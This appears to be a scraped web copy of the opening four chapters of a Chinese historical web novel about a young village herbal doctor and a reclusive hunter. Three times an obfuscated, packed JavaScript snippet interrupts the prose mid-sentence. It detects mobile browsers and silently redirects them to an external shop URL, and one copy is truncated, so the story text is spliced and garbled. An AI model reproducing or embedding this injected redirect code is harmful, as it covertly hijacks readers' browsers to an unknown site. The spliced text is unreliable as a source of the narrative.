《在古代县城开医馆》 1. 第 1 章 时下正值三月，一场淅沥沥的春雨从早晨便开始下，至午时方歇。 算不上宽敞的乡间小路泥泞不堪。 一辆坐着三五个人的牛车慢悠悠从官道上下来，顺着长着杨柳的河边走，到一处村口停下。 桑枝背着个背篓，从牛车上下来，递给赶车的周叔一枚铜子算作坐车钱。 车夫周叔接过铜子揣进怀里，笑问：“小枝明早还去县里吗？周叔在村口等你。” 他拉人去一趟县城，一人收一个铜子，却只是他们采桑村的价。车上还有几个去邻村的，离县城更远些，就收两个铜子了。 桑枝摇摇头，“明天不去。” 说完就要进村，却见周叔不自在的抹了把眼睛，又用力眨了两下。 周叔放下手，桑枝瞧见他双眼通红，还有点儿肿。 她取下背篓，揭开上头的粗布，从里头取了一包东西递给周叔。 “周叔，眼睛怎么了？又红又肿的，是不是上火了？这个拿去泡水喝，蒲公英和菊花，我自己晒的。” 周叔接过纸包，喜道：“最近你婶子腌了些辣子，我早上爱就着这辣子喝粥，是有些上火。那周叔就收下了，下次坐车，周叔不收你钱！” 桑枝抿唇一笑，“这几日蒲公英滋味最好，若是家里有，也叫婶子拌来吃！” “欸！欸！叔晓得了！” 这端桑枝背着背篓往村里走，牛车又慢慢走上小路，要往别村去。 车上一个妇人问周叔，“这是你们村的姑娘？长得真是水灵！唇红齿白的！可许了人家了？” 周叔还没说话，坐她一旁的妇人却先开口了：“你刚来我们茗县不晓得，可千万别打那姑娘的注意！那是他们采桑村里正家的姑娘，头上还有个顶厉害的大哥！她自己啊从小跟着县里杏仁堂的大夫学医，谁都瞧不上！” “整日给这个送一包药，给那个送一包药，也不晓得出师没有，那些人就真敢喝！” 前头赶车的周叔听了，立马不乐意了，“你不就是去年找媒婆上门提亲被拒了吗？怎的还说这些不中听的！” “咱们附近几个村子没个正经大夫，去一趟县城不容易，谁没因为个头疼脑热的麻烦过小枝？” “这趟我不拉了，钱我也不要了！你下车吧！我原也只做我们本村的生意！” 周叔说完，还真停下了马车。 那人傻了眼，还是旁边那妇人帮着说了几句好话，周叔才愿意继续赶牛车，到了村口，原只收她两个铜子的，最后也收了三个。 这头发生的事，桑枝自然不知。 采桑村村口最气派的四间青砖大瓦房，便是桑枝的家。 院墙与别家的篱笆墙不同，也是砖砌的，桑枝推开门，一只巴掌大的小黑狗崽子就朝她滚了过来，是前几日她大哥捉来，指着它长大了看家护院的。 院里收拾的齐整，靠墙的枇杷树下有几溜菜畦，春韭和胡瓜长势喜人；旁边围着矮篱笆的是养鸡鸭的地方。 另还有一棵颇有些年头的桂花树，一口用了许多年的老井，是桑枝祖父在的时候就有的。 桑枝弯下腰，把狗崽子抱起来，听它一直哼哼唧唧的，一摸肚子，浑圆，原来不是饿的，就是娇气。 “爹！娘！大哥！嫂子！” 桑枝叫了一圈人，把狗崽子放下，又把背篓放到院里的桌子上。 “别喊了，你爹和你大哥下地去了。云莹带着惜儿赶着鸭子往河边去了，你没碰上？”屋里出来个挽着袖子的妇人，进灶房给她端了饭出来，“今天回来这么早？幸好多了一碗，不然你回来可没得吃。” 桑枝打了井水洗过手，走到石桌边一瞧，碗里白饭上盖着葱烧豆腐，还有个煎鸡蛋，一看就是专门给她留的。 她一路从县城回来，早就饿了，端起碗就吃。 她娘和嫂子做饭的手艺都好，做什么菜都好吃。 偏生她没这个手艺，还坏了家里一口锅，家里有刘蔓湘惯着她，也就随她去了。 “我没遇到嫂子，兴许是从哪里错过了吧？今天医馆不忙，池师傅叫我早些回来，他明日要去邻县走亲戚，来回一个月，叫我不用日日都去，好好在家中背书，隔几日去一次就成，省得来回还要花两个铜子。” 桑枝一边吃饭一边答话。 刘蔓湘在旁边整理碎布头，跟她说：“隔壁你花婶子早上说她有些不舒坦，似是惹了风寒，找你拿点儿药。” “我待会儿给她拿过去。” “既是往后几日都不忙……欸！你做什么去！” 桑枝三两口吃完饭，抱着背篓进了自己屋，把药包倒出来放进柜子里，背着背篓出来，跟她娘喊了一句：“我上山采药去！” “这都什么时辰了！上什么山？” “我不去远处！天黑前我就回来！” 刘蔓湘看她手里拎着把药锄，去隔壁花婶子家还蹦蹦跳跳的，摇了摇头，弯腰把不小心爬出来的狗崽子拎起来，关了院门。 采桑村后头就是连绵的青山，最近的这座山常有村民上去砍柴，没什么危险，桑枝常去采药，刘蔓湘便也没拦着她。 村里的老人说，再往后几座山头常有猛兽出没，是去不得的，好些年以前有个猎户带着大刀和弓箭进去，一去就是十几天，后来再也没见过人，可能早就叫野兽给吃了！ 从村里走到山脚下只消不到两刻钟。 桑枝走到山脚下，抬眼看了看天色，既是不能去里头，就在外头转转，兴许也能挖几到株药材。 她也没往没人走过的地方去，就顺着条被人踩出来的小路往上走，没碰上几株草药，倒是挖了小半篓子芥菜，晚上还能添个菜。 近处都被村民挖了七七八八，她拨开杂草灌木，走得离小路远了些，才挖到一些。 离天黑还有些时辰，桑枝拿镰刀别开挡路的低矮草木，又往里头走了些。 越往里走山林越静，不闻人声，只闻鸟雀声，远处还有流水声，她知晓这附近有条自山上下来的溪水，一直通向村里的那条河，只要顺着溪水一直走，便能下山，也不会迷路。 桑枝运气不错，拨开一丛灌木，瞧见不远处一片平地上有一小片长势正好的紫花地丁。 紫花地丁不是什么名贵药材，山林草地间到处都是，挖来这些无须往出去卖，够她自用了。 她拿出药锄刚挖了两颗，就听到不远处有窸窸窣窣的声音传来。 桑枝立马警觉起来，如今太平盛世，倒是不怕有什么坏人，只怕有些不好对付的蛇虫兽类从后山跑到了前头。 她直起腰朝声音传来的方向望去，山林草木错综复杂，十分阻挡视线，但也能看到溪流那边。 桑枝握着镰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376814|200109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刀分开草木走过去，就看到一个瘦巴巴的小姑娘瘫坐在地上，对面是几条小小的乌蛇。 这乌蛇可是好东西，去头去皮鳞，处理干净后用黄酒浸泡，炙干可入药！ 面前这几条大小尚可，正适合药用！ 她快步走过去，把小姑娘扶起来，拍了拍她身上的泥土，“你怎么一个人在这儿？你家里人呢？” “小姑娘别怕，这蛇没毒，也不咬人的。” “大……大姐姐，我……我怕……”小姑娘小脸煞白，仍是一副怕极了的模样。 “你若是实在害怕就转过去别看，等大姐姐把这蛇抓起来，你再转过来。” “我……我害怕……”小姑娘紧紧抓着她的衣襟，竟哭了起来。 小姑娘正哭着，桑枝一时半会儿也想不到办法抓蛇，只好先带着她到小路那头去。 村里的人桑枝都认得，这个小姑娘面生，许是别村的。 “走，大姐姐先带你下山。” 桑枝拉着小姑娘，还没走两步，就听到“刷刷”两声，身侧一阵劲风袭来，她下意识闪开，循声望去，地上一团乌蛇已经被两只匕首扎的血肉模糊了。 桑枝看着地上那团被斩成几段，已经失去价值的乌蛇，深感痛惜。 她哀嚎一声：“哎呦我的蛇啊！” 唉！好好的蛇啊！这可是极好的药材！就这么没用了！ 身后传来急切的脚步声，“英儿！你没事吧！” “哥哥！我没事！”小姑娘放开桑枝的手，跑了过去。 “没事就好！下次不许再乱跑！” 来人把小姑娘上上下下打量了一遍，才看向桑枝，“方才多谢姑娘了。” “我也没做什么。”桑枝摆摆手，颇为惋惜道：“只是可惜了这几条乌蛇。” 她从乌蛇上收回目光，方才仔细瞧见这人，身量很高，背着弓箭，十分冷硬的长相，看上去有些眼熟。 男人看向地上那团已经死去的乌蛇，上前几步把匕首拔出来，迟疑道：“若是姑娘喜欢……这蛇……” 喜欢？ 桑枝只喜欢它能入药。 于是她赶忙道：“我不喜欢。” “你这样，不像是不喜欢的样子。” “这是乌蛇，又叫乌梢蛇，可以入药的。”桑枝解释道。 男人点点头，“我曾在溪边见过几次，你可以去那里抓。” 说完，他停顿了一下，又道：“你懂医术？” 桑枝瞪大了眼睛，“你不认得我？” 男人神色古怪，一副我为什么要认识你的模样。 “嗯……我的确是会一些。”他都那副神情了，桑枝也不好再自报家门。 男人张了张口：“那你……” 一直拉着哥哥的小姑娘揉了揉眼睛，“哥哥，我困……” 他只好蹲下，将小姑娘抱起来，“困了咱们就回家去。” “告辞。”他略一点头，抱着妹妹就要走。 “你方才要说什么？” “没什么。” 桑枝看着他远去的背影，突然想起了什么似的，喊道：“等等！你是不是住在半山的那个猎户？” 男人停下步子，回头，“姑娘还有何事？” 那就是默认了，桑枝有些不好意思道：“那你……能不能帮我抓蛇？” 2. 第 2 章 乌蛇价高，杏仁医馆每次都是从药商手里收。 桑枝跟着池大夫学了这么多年的医术，尽管也学了不少修治药材的方法，但抓蛇她却是从没试过的，好不容易叫她遇着一次，她可不想失了这机会。 若是他能帮自己一把，那就更好了。 男人看一眼怀里打瞌睡的妹妹，“明日巳时初刻在这等我。” 说完他便走了。 这人竟如此爽快！ 背着背篓走在下山的路上，桑枝方才想起她是何时见过这人的。 去年快入冬的时候，住在村尾的王梅带着一个陌生的青年来家里找她爹，说这是她远方亲戚，从边城来投奔的，想在采桑村落户。 家里来了外人，桑枝懒得出去应付，坐在自己屋里看医书，透过窗户看过几眼，因此才有些印象。 当时她爹细细了解了这人的来处，知晓他是在边城打了胜仗回来的，也有王梅作保，愿意帮他落户，过了几日便领他去县里过了手续。 后来听说他买了半山腰那间许久没人住的茅草屋，以打猎为生。 许是因为从战场上回来，又整日背着弓箭，村里人都对他敬而远之，说是身上带着煞气和血气，都不与他来往。 就连王梅，也好似不认得这个亲戚似的，后来竟是再没多少来往了。 桑枝不信这些，只是惊讶于她时常上山采药，竟从没遇到过。 从前远远在村口见过几次，只知道他从来不往村里来，却不知道他还有那么小的妹妹。 当时她爹从县里回来，说起这人的名字，叫白前。 她没见过人，对这名字却熟悉。 只因白前，同她的名字一样，也是一味药。 回到家，她大嫂周云莹和娘正在灶房做饭，大哥和她爹还没回来。 桑枝绕开在她脚边跑来跑去的狗崽子，径直背着背篓进了灶房，“娘，嫂子，我刚在山上挖了点儿荠菜。” 说完，她把上面一层用粗布包着的紫花地丁取出来，把下面的荠菜都倒了出来。 刘蔓湘笑眯眯看一眼，夸她一句：“就数你运气好，我昨天往河边去，那头都叫人挖干净了。” 她手里切着肉，腾不开手，转头对周云莹道：“云莹，把荠菜洗了，咱们晚上再添个凉菜。” “晓得了娘。” 她大嫂周云莹性子温和，话也不多，和一直以来感情和睦，桑枝从没见他们俩吵过架。 “惜儿呢？”一整天没见到小侄女，桑枝还挺想这个小丫头的。 周云莹抿唇一笑：“下午玩累了，在屋里睡着呢。” 桑枝把荠菜倒出来，把紫花地丁装进去，又找了个木盆接上半盆水，端到灶房外头。 这样她一边收拾药材，一边还能跟她娘和嫂子说说话。 紫花地丁这样的药材，只需要洗干净晾干就能入药，因此处理起来很快，桑枝做惯了这些活儿。 她每次挖来的药材，要么留下自己用，要么就卖到医馆去。 池大夫只收了她这么一个正经徒弟，准许她把自己采来的药卖到医馆，给的价格不高，但也低不到哪去。 这样做也是开了先例，只因她天资聪颖，学得十分快，池大夫惜才。 桑枝也明白其中的道理，因此并无怨言。 起初她也是跟着医馆那几个小药童一起从认药到修治药材，用戥子抓药学起的。 直至她用半年时间便学会了这些，又开始背医书，跟在池大夫身边学望闻问切，如此已经有七载了。 她白天要去医馆学习，忙时也帮帮家里，能采药的机会不多，自然也采不了多少药材。若是卖去别处，这么点儿零碎药材，还不定有医馆愿意收。 她自己攒下来的这点儿钱，交给刘蔓湘一部分，剩下的刘蔓湘也默许她自己收着。 桑枝也晓得是刘蔓湘疼她，偶尔也给家里添置些小东西，或是从县上买些吃食回来。 吃食一家人都能分着吃，若是买了绣了花的帕子，带花儿的木簪子这些，她都是给她娘买一份，再给她大嫂买一份。 灶房里传出饭菜的香味，院门一声轻响，是她爹和大哥回来了。 桑枝跑过去，脚边还跟着个圆滚滚的小狗崽子。 她大哥桑盛个子高大，却生了一副温和老实的面相，进了院门先喊了一声“云莹”，一双眼睛直往灶房那头看。 桑枝抱起狗崽子，听得大嫂在灶房里应了一声。 “大哥，你怎生如此黏大嫂？” 桑盛这才舍得分神看一眼桑枝，“那是我娘子。” 又道：“你总抱着它做什么？叫它自己在院里跑，长得快。” “叫你给取个名字，取了吗？” 桑枝早想好了名字，抱着嘤嘤叫的狗崽子颠了颠，“叫它桑葚！” 桑盛瞬间黑脸，“不成！换一个！” 她原也是说着玩的，便道：“那只好叫大黑了。” 桑正礼从柴房放了锄头出来，“大黑，挺好。” 如此狗崽子的名字就定下来了。 “云莹！咱家惜儿呢？”桑盛在院里喊了一声。 周云莹从灶房里出来，“睡着了，你声音小点儿，别吵着她。” “那我去瞧瞧。” 周云莹瞪了他一眼，“洗了手再去。” 桑枝把大黑放在地上，自己转头去灶房，洗了手，跟着一起端饭端菜。 过了一会儿，桑盛从屋里出来，酸溜溜同周云莹道：“她爹回来了都不醒，睡得香，我也舍不得叫她。” “吃饭吧，待会儿我再进去瞧瞧。”周云莹摆了碗筷，一家人坐在院子里吃饭。 刘蔓湘挨着桑正礼坐下，问他：“咱家牛呢？” 桑正礼原本没吭气，见刘蔓湘端个碗一直盯着他，才道：“借给老三了。” “又借给老三！”刘蔓湘把碗“砰”一声放在桌上，“回回借，咱家牛可经不起折腾！” “我是他大哥，又是里正……” “你这个大哥当得可真够意思的，往年回回借了牛出去，回来的时候牛还空着肚子，连草料都要咱自己喂！转头第二天，又给人借走！” “他之前坑我们小枝的事情你也忘记了？可真是顶好的大哥啊！” 刘蔓湘说完，背过身去咳了好几下。 桑正礼连忙放下筷子帮她顺着背，“你看你，急什么？这回老三说给喂好了再送回来。之前那事儿，我也没忘，我也骂过他了，他以后不敢再随便胡来了！” “小枝！快过来给你娘瞧瞧！” “欸！” 桑枝应着话就要起身，刘蔓湘安抚一般看了她一眼，“吃饭吧，我没事。” 说完，又看了一眼桑正礼，“若你以后少拿老三他们家的事儿气我，我还能多活几年。” 桑正礼怕她受了气咳嗽严重，没敢再说话。 刘蔓湘生气的时候谁都不敢先开口劝，桑枝同大哥对视一眼，看他挤眉弄眼的，就晓得还得自己先说话。 她给刘蔓湘夹了一筷子菜放进碗里，“娘，虽说现在是春天了，天气可算不上好，药囊还得时时刻刻都戴上。” “知道了，你自己快吃吧，不用给娘夹菜。” 周云莹去灶房倒了杯温水过来，默默放在刘蔓湘跟前。 刘蔓湘脸色缓和几分，端起温水喝了一口，“还是咱家两个闺女晓得疼人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376815|200109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刘蔓湘的咳疾是老毛病，县里的医馆都去了个遍，也没治好。 池大夫说这跟她早些年受了劳累有关系，只能长期吃药调理着，特别是秋冬两季，身上时不时的得配个药囊。 正是家家户户都吃饭的时候，村里各处都漂着饭菜的香味。 采桑村地处江南，上属画州城茗县，也算是鱼米之乡。这里的百姓普遍生活富足，手脚勤快的，能挣出不少银钱，就说采桑村，到处都是桑枝家里这样的青砖大瓦房。 不远处还有座茶山，是个县里富户开的，茶山脚下有座茶庄，附近的村民也会去那儿找活儿做，也因此攒了不少钱。 第二天一早，桑枝起床之后的第一件事就是看天气，这几天春雨多，只能盯着日头晾晒药材。 药材若是不经常拿出来翻晒，一受潮就容易发霉。 农家人早上要吃饱了才有力气干活，刘蔓湘带着儿媳妇蒸了一锅野菜饼子，打了三个鸡蛋煮了鸡蛋汤。 吃不完的饼子拿到田里，饿了也能垫巴两口。 桑枝家统共十亩地，从前一半种稻，一半种桑，那时除却种地，还要养蚕、缫丝、织绢。他们家人少，这么多活儿自是干不过来，除却请亲戚便是请短工，都要花钱。只五亩地种桑养蚕，也织不成多少绢，一年到头还得多交一样税。 再者刘蔓湘身子愈发不好，桑正礼不肯她再忙织绢的活儿，干脆都拿来种稻了。 采桑村里多的是种桑养蚕的人家，赚的是比种地的人家多些，但也劳累，买米粮却都要花钱，算下来，其实与种稻也差不了多少。 农闲的时候，桑盛也去茶厂，去县城找活儿干，家里不比别家差多少。 吃过早饭，桑正礼和桑盛要下地去，周云莹喂过鸡之后要去河边放鸭子，刘蔓湘在家里闲不住，用从别家买来的丝织绢。 桑枝见与猎户的约定时间还有些时候，便把院子扫了，又搬了簸箕出来，把她昨天采来的紫花地丁晒到院子里。 今天从早上起来就有明晃晃的日头，应当不会下雨了。 瞧着时间差不多了，桑枝才背上背篓，去堂屋给刘蔓湘说了一声，要上山采药去。 “小心些啊，别往山里头跑，不许去没人去过的地方。” “知道了娘，我都去过多少回了，你就放心吧！” 周云莹喂完鸡，正要赶鸭子出门，桑枝便同她一路。 惜儿黏她娘，也跟着，拉着周云莹的手就不放，只好带着。 一双小短腿不停扑腾，仍跟不上大人的步子，小嘴一瘪就要哭。 “那娘抱你？” 周云莹蹲下，惜儿却一扭，两只小辫子一晃一晃的，头上一朵粉红的绢花儿，是桑枝给她买的，她每日都要戴着，“惜儿长大了！要自己走！” 桑枝笑了几声，弯腰看她，“那姑姑抱你？” “也不要！” 桑枝就哄她：“姑姑一会儿就要往山上去了，就不能跟惜儿一路，惜儿也不叫姑姑抱吗？” 小姑娘皱着眉头想了一会儿，冲桑枝伸出了胳膊，“那姑姑抱！” “好嘞！” 桑枝抱上小侄女，脚程这才快了些。 “惜儿有些任性，你别介意。”周云莹小声道。 桑枝摇摇头，“小孩子天性，这般才好呢，而且我也挺喜欢惜儿的。” 到了村口，桑枝把小丫头放下来，跟她告别：“那姑姑走喽！” 惜儿点点头，“嗯，姑姑再见。” “嫂子，我走这头就要往山上去了。” “嗯，你小心些。” 哄惜儿说话耽搁了些时间，桑枝怕误了约，赶忙就往昨天遇到白前的那地方去。 3. 第 3 章 昨日下过雨后山路湿滑，不太好走，今天倒是好些，大部分路面都已经半干。 桑枝走得比昨天还快些。 路上遇着领居花叔上山砍柴下来，桑枝便打了声招呼，“花叔！” “小枝啊，这么早就采药去？” “也不早了。”桑枝笑着答了，又问：“婶子风寒好些了吗？” “好些了！多亏了你的药！她昨天下午熬了一道喝了，今早上就好多了！今早的药我早上走的时候她炉子上正熬着呢。”花叔说着，从兜里摸出一个布包塞给她，“叔刚才采了两把菌子，拿去吃！” 桑枝没推辞，大大方方接下了，“那多谢花叔了。” 花叔和花婶子是住在他们家隔壁的邻居，儿子在县城一家酒楼当账房，成亲之后又在县里买了院子，因此家里常年只有他们两个人。 两家人关系好，时常互送东西，桑枝昨天给花婶子的那包药是专治风寒的，价格不高，她也没要钱。 跟花叔说完话，桑枝又继续往上走。 她走到昨天往里拐的小路那里，仔细辨认了方向，分开草木过去，见人果然已经等在那里了，挺直了脊背站着，跟棵松树一样。 “我来了！” “你等很久了吗？” 白前略一点头，算作打招呼，“走吧。” 又说：“不久。” 说完，率先往有流水声的那边去了。 桑枝跟在他后头，“那就好，你上次在哪儿瞧见的乌蛇？” “就在溪边。” “这头我有时候也来，怎么就没遇见过。” 白前没说话，往半人高的芦苇杂草里头走去。 桑枝见他不说话，只好跟着他一起找起来。 这条溪水一部分边上长着芦苇杂草，一边是草地，这个时节还开着野花儿，长着不少野菜，也有村民来采摘过的痕迹。 她这次带了个麻布袋子来，专门装蛇用。 乌蛇身小，不仅难抓还难找，两人在溪边绕了许久也没找到。 桑枝没话找话：“今天怎么没带妹妹出来？” 白前原本正弯腰拨开草丛，闻言抬起头看她，道：“她在家中休息。” “小姑娘叫什么名字？” “白英。” 桑枝眼睛一亮，“你们兄妹俩名字都取得好。” “何故？” “白前，白英，实则都是药材。”桑枝道，“难道不是好名字吗？” 白前略一点头，未说话，又往芦苇丛里走了几步。 林间鸟雀声不歇，偶尔还能听到从远处传来的砍柴声。 过了一会儿，桑枝突然听到他说：“找到了。” 桑枝赶忙过去，那团在芦苇里的，果真是她要找的乌蛇！ 她站在白前旁边往里看，垂下的长发扫过白前的手背，眼神专注，丝毫没发觉自己跟他离得太近了。 白前拨着芦苇的手一颤，往旁边避让了一下，“你……” 桑枝眼中只有那些过几天就能变成药材的蛇。 她看了一会儿收回眼神，低声问：“怎么抓？” 白前默了一下，问她：“要活的还是要死的？” 说着，竟是已经从腰间抽出两把匕首。 桑枝连忙拦住他：“你干嘛！别又给我斩成段了！” “那是要活的？”白前看着抓着自己胳膊的手，又把匕首放了回去。 “要活的！”桑枝赶紧从自己的小背篓里把麻布袋子取出来，“就用这个装！” 白前接过麻布袋子，直接伸手过去，看得桑枝一惊。 “你直接用手啊……” 桑枝话还没说完，白前转头对她道：“你离远些。” 言语中的嫌弃简直不加掩饰…… 桑枝连忙退开几步，怕自己影响到他的动作。 只见他压低周围的芦苇，上前几步，张开麻布袋子，弯腰伸手一气呵成，直起腰时已经顺便扎紧了袋子。 他提着袋子走出来，对桑枝道：“跑了几条，还抓吗？” “不用了，也不能全部抓走。”桑枝摇摇头，从他手里接过袋子，纠结了半天，问道：“你刚刚……真是直接用手抓的？” 白前看她一眼，走到溪边净手，“用麻布袋子装的。” “哦……”桑枝又取了条绳子把袋子重新扎了一遍，这样稳妥些，不然走到半路蛇跑出来就麻烦了。 “谢谢你！” 桑枝正想着要不给他拿些治外伤的药当做谢礼，他是猎户，应当能用到。 “不谢，昨天你帮了英儿。” 所以是因为昨天自己帮了他妹妹，才会答应帮自己的。 不管怎么说，桑枝还是决定下次上山的时候给他送些药来。 白前在溪边洗过手，起身整理来一下背上的弓箭，对她道：“我走了。” “你做什么去？”桑枝见他走得痛快，连忙把人叫住。 “打猎。” “你家住在哪儿？” 白前不说话，看了她一眼，神色有些古怪。 桑枝怕他误会，连忙道：“我是想给你送些谢礼！” “不必了。” 说完，他转身就走。 只能下次遇见再给他了，桑枝这样想着，却见人又退回来。 “你是大夫？” 桑枝惊讶道：“原来你竟然真的不认识我？” 白前十分坦然的点头，“我为何要认识你？” 桑枝瞬间就不知道要怎么说了，嘴唇动了动，半晌才道：“村里人都认得我。” 却见白前神色淡然，“村里人我都不认得。” 村里人…… 大部分村里人都对他有偏见，难怪他会是这幅模样。 她只好说：“我……我叫桑枝，的确是个大夫。” “白前。” 这便算是交换姓名了，但桑枝早就知晓他叫什么。 “吃什么可以补身子？” “啊？”桑枝被问得一愣，“这个，要看是生的什么病。” “就是娘胎里带出来的弱症。” “这样啊……”桑枝想了一会儿，这种病的确要多进补才是，选择也多。” “鸡蛋是必不可少的，还有……”她的眼神无意识划过旁边的溪流，“就说这溪里的鲤鱼，用来炖鱼汤是最好不过了。” 她刚说完，就见白前又折返回溪边，把背着的弓箭拿下来，然后弯下腰，开始挽裤脚。 “你要捞鱼吗？这个时节，下水要生病的！”桑枝连忙上前阻拦。 白前拧眉看她，“是你说的，鱼汤。” “现在是三月！这山里的溪水冰冷刺骨！最易生寒气！”桑枝气极了，她最看不过不爱惜自己身体的人了！ “要么你等天气暖和了再下水！要么就去做个鱼篓放进水里……反正你最近不能下水！” 她说完，看到这人又放下裤腿，把弓箭背上。 还挺听话。 桑枝舒展了眉头，正要再说几句，就听到远处树林一阵窸窸窣窣的声音。 白前反应极快，瞬间搭起弓箭，眼神锐利如鹰。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376816|200109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 桑枝见没什么动物出现，便道：“许是野兔吧。” 白前看了一会儿，才放下弓箭。 他一边背上弓箭，一边道：“我先走，叫村里人看到不好。” 桑枝下意识应了，才发觉他说的是什么意思。 能有什么不好的，他们又没做什么。 至于方才他说的弱症…… 自然不会是白前，那么就可能是那个小姑娘白英了。 下次见面再问问吧。 桑枝也背着背篓离开了。 溪水边恢复了寂静，方才发出声音的大树后闪过一片衣角。 桑枝背着背篓回到家，还没到午时，刘蔓湘正在拔菜畦里长出来的杂草，看到她拿了个麻布袋子过来，随口问道：“这里头装的什么？” “装的乌蛇。” “蛇？！”刘蔓湘赶忙后退几步，皱着眉头，“你怎么去抓这种东西！” 桑枝把麻布袋子系在枇杷树上，“这个是药材，没毒，娘你别怕。” 刘蔓湘看那被吊在树上的麻布袋子，好似在动似的，里头的东西竟然还是活的！ “你自己抓的？伤着没有？”她强忍着害怕走过去，抓着桑枝的手将人上上下下瞧了个遍。 桑枝知道她娘害怕，反手拉着她娘的胳膊走得远些，才道：“娘，我没事，我叫别人帮我抓的。” “叫谁帮你抓的？改天给人家送点东西道个谢。” “知道了娘。” 刘蔓湘没细问是谁帮的忙，自己闺女在村里受欢迎她也知晓，指不定是哪个来找桑枝看过病的人呢。 她抬头看了眼天色，在围裙上擦擦手，“方才你花婶子送了块豆腐过来，中午娘做豆腐烧肉。” “我来烧火。”桑枝跟着进了灶房，自觉在灶台前坐下。 “你说说你，给娘烧了这么多次火，连个菜都不会炒。”刘蔓湘嘴上唠叨着，实则疼惜着这个姑娘呢。 年纪轻轻就会给人治病，自家人有个小毛病，也都是她给看的。 桑枝往灶里添柴，听她娘又说起她小时候的事儿。 “你刚出生那天啊，咱们这儿下了好些天的大雨就停了，你爹就说你是咱们家的小福星。” “后来小小年纪就被池大夫相中，收了当徒弟，还说你天分好，是个好苗子。” “你爹说，是我怀着你的时候鱼汤喝得多，你才这么聪明。” 桑枝抿唇笑着听刘蔓湘说话，心底里比谁都清楚，她哪有什么天分，不过是为数不多的从前的记忆罢了。 就连当初拜池大夫为师，也是她设了个巧计，在刘蔓湘带着她赶集的时候，她在县里市集上指着一个摊子上的药材，把药名都念了出来，吸引了池大夫的注意。 原本想着若是此计不成她就另想别的法子，结果池大夫还真叫刘蔓湘带着她去了医馆，仔细询问了一番收她做徒弟了。 这都是为她日后长大了，能有个能傍身的手艺，若是发生了什么事，她能靠自己活下去。 周云莹放过鸭子把惜儿送回来之后就会去田里，中午家里只有她们娘俩吃饭。 惜儿还小，吃了点儿野菜饼子，刘蔓湘又给她蒸了碗甜蛋羹。 吃过饭之后，刘蔓湘还要去田里送饭。 桑枝叫她娘好好在家休息，自己揽下这个活儿。 她方才可瞧见放在堂屋的织机又织出好长一截绢来，可见她娘早上就没歇息。 她提上饭菜往田里去，大黑也迈着小短腿儿想跟着。 但这狗崽子还太小，桑枝就将它关进了院子里。 4. 第 4 章 这个时辰正是村里热闹的时候，家家户户都有人提着饭菜往地里去。 桑枝左手提着一个装了热茶的粗陶壶，右手提着菜篮。 菜篮子里装着两摞油烙的野菜饼，一碗豆腐烧肉，一碗凉拌胡瓜，翠绿的胡瓜里滴了三两滴香油，另还有三副碗筷。 篮子上头用干净的布巾盖了挡灰，挡不住饭菜的香味，直往人鼻子里钻。 “小枝啊，今儿你娘又给你做什么好吃的了？” 跟她说话的是住在村东头那边的一个婶子，姓孟，素来最爱占人小便宜。 有时不过是一把葱，几头蒜，村里人也就给了。 但今日这篮子里头的饭，可是要紧着她家人自己吃呢，干农活哪个都累，可不能叫人白吃了去。 桑枝见她一双眼睛直往菜篮子里瞧，可惜被布巾遮了个严实，什么都瞧不见。 她一弯嘴角，“婶子今儿做了什么好吃的？” 孟婶子听她这话，撇了撇嘴角，“婶子问你呢，你又作何来问婶子。” 桑枝稳当的提着篮子，不叫她看去一眼。 “我闻着婶子做的饭香。” 孟婶子一愣，把自己怀里的菜篮子搂了搂。 她这篮子里头馒头配咸菜，另还有几块昨天去邻村亲戚家吃酒席拿回来的几块烧鸡，都是给她家老孟的，可不能给别人！ “婶子……婶子也没做什么好的。” 孟婶子说完，仍在她旁边走着。 桑枝借着同别人打招呼的机会，往边上走了几步，离她远了些。 不想过了一会儿，孟婶子又凑了上来，“小枝啊，嫂子听说你送了那姓周的几包败火的药，婶子最近也有点儿上火，你还有吗？也给婶子一包？” 桑枝脸上笑意未减，“婶子，可是不巧，我这回是来送饭的，身上没装什么药。” 孟婶子一听，以为有戏，连声道：“不急！婶子待会儿到你家去取！” 没等她喜上眉梢，桑枝又道：“败火的药十文钱一包。” “你——” 桑枝没理她，老远瞧见周叔赶着牛车从小路上下来，招呼了一声：“周叔！” 周叔见着是她，停下牛车，从怀里掏出一个纸包，“来！松子糖！拿去跟你们家惜儿分着吃。” 又见她两只手都占着，就把糖放进了她的菜篮子里。 “谢谢周叔！这是给周明买的糖吧？” “那臭小子！糖可不敢多吃！她娘要揍他嘞！人铺子一包十块儿糖，不拆卖！分你五块儿！”周叔道：“前年若不是你大晚上冒着雨来家里给那小子治病，烧一晚上都要把人烧糊涂了！” “叔还得谢谢你嘞！” “谢什么谢！周叔，我明天要上县里去，还得麻烦你拉我一趟。” 